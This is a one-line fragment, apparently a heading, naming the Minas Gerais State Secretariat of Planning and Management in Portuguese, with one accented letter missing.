Secretaria de Estado de Planejamento e Gesto de Minas Gerais